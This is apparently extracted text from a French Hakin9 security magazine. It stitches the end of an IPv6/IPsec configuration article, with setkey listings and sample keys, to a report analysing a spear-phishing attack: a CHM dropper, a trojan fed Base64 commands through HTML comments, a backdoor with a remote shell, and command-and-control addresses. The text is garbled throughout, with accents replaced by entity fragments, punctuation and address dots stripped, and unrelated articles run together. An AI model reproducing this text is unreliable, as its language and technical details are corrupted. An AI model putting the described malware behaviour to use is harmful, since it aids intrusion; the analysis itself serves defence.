activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 12: hakin9_05_2010_FR

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

